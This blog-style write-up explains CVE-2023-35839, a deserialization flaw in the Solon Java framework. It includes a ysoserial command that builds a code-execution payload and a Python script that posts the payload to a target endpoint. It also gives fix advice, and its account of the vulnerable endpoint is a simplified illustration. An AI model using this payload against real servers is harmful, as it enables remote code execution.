CVE-2023-35839 - Solon Deserialization Vulnerability

In the world of software, security is critical. One bug can mean data theft, a ransom attack, or a system takeover. Today, let’s discuss CVE-2023-35839, a flaw in the Solon microframework before version 2.3.3. If you use Solon, or are simply interested in Java deserialization attacks, keep reading – this post breaks down the issue, demonstrates an exploit (with code), and shares resources so you can learn more or protect yourself.

What is Solon?

Solon is a simple, fast, and lightweight Java microframework – much like Spring Boot, but designed for rapid development and ease of use. Solon is popular in China and gaining wider adoption worldwide for building REST APIs and lightweight web services.

What is CVE-2023-35839?

CVE-2023-35839 is a vulnerability that allows attackers to deserialize untrusted data, potentially leading to arbitrary code execution.

Affected Versions:
Solon versions before 2.3.3.

Vulnerable Component:
The core Solon deserialization logic handles request payloads without proper checks. If an attacker sends specially crafted data, Solon attempts to deserialize and create dangerous objects, which could execute code on the server.

Type of vulnerability:
Deserialization of untrusted data (CWE-502).

Why is Deserialization Dangerous?

Serious bugs like this one arise when apps automatically “unpack” data sent by someone else without proper checks.

Java (and other languages) can turn data (“serialized”) into live objects (“deserialized”).

- If the data comes from a bad actor, they can craft input to produce anything – even objects that run code.
- The most infamous Java remote exploits - such as the Commons Collections gadget chains - all arise from this problem.

How Was Solon Affected?

In early Solon versions, controllers or endpoints could accept serialized objects from HTTP requests. If you posted a Java object via a request, Solon would turn it back into a live object *without verifying the data or type*. For any endpoints like this:

@PostMapping("/danger")
public void dangerousEndpoint(MyObj obj) {
    // ... logic ...
}

If you send obj as serialized binary data, Solon would deserialize it directly!

Exploit Example: Running Code on the Server

Note: This is for educational purposes only. Do not attack systems without permission.

We’ll craft a payload that, when deserialized, runs a harmless command (let’s say, opening Calc.exe on Windows). Attackers could use this trick for serious damage: stealing data, dropping webshells, or taking over the server.

Step 1: Gadget Chain

Suppose the server accepts an object as POST data (e.g., /danger). For Java deserialization attacks, exploiters often use a “gadget chain” – a series of classes that, when deserialized, cause code execution. One of the most famous gadgets is in the Commons Collections library.

Example (conceptual, using ysoserial)

java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.bin

This creates payload.bin – a serialized object that will run calc.exe on Windows.

Step 2: Sending the Payload

Assume the application is running at http://target.com/danger.

import requests

with open('payload.bin', 'rb') as f:
    data = f.read()

headers = {'Content-Type': 'application/x-java-serialized-object'}
r = requests.post('http://target.com/danger', data=data, headers=headers)
print(r.status_code)
print(r.text)

If the endpoint was written like this

@PostMapping("/danger")
public void dangerousEndpoint(Object obj) {
    // Vulnerable: accepts any object, no validation/checks!
}

The payload would execute!

Note: This is simplified for clarity; real-world attacks require tuning for the target app and its libraries.

How to Fix (or Stay Safe)

- Upgrade Immediately! Solon fixed this issue in version 2.3.3 and later (commit).
- Avoid Accepting Raw Object Types – Instead, receive specific DTOs (Data Transfer Objects), and never accept Object or base classes.
- Validate Input Strictly – Always check that the type matches what you expect, and never trust external data blindly.

Disable Built-in Java Serialization – Use JSON or other safer serialization formats.

- Monitor Your Dependencies – Many “gadget chain” vulnerabilities come from common libraries that you may depend on without realizing it.

Timeline

- June 2023: Vulnerability reported (discussion).

Original References and Further Reading

- CVE-2023-35839 NVD Entry
- Solon Issue 223 (GitHub)
- Solon GitHub Repository
- Java Deserialization Vulnerabilities Explained (Veracode)
- ysoserial Gadget Chains
- Official Fix Commit

Conclusion

CVE-2023-35839 is a classic remoting flaw: deserializing untrusted data is dangerous. Solon users should update as soon as possible, audit their input handling, and keep security at the front of their development efforts. If you need more technical details on Java deserialization or secure coding, check the resources above.

Timeline

Published on: 06/19/2023 01:15:00 UTC
Last modified on: 06/26/2023 17:28:00 UTC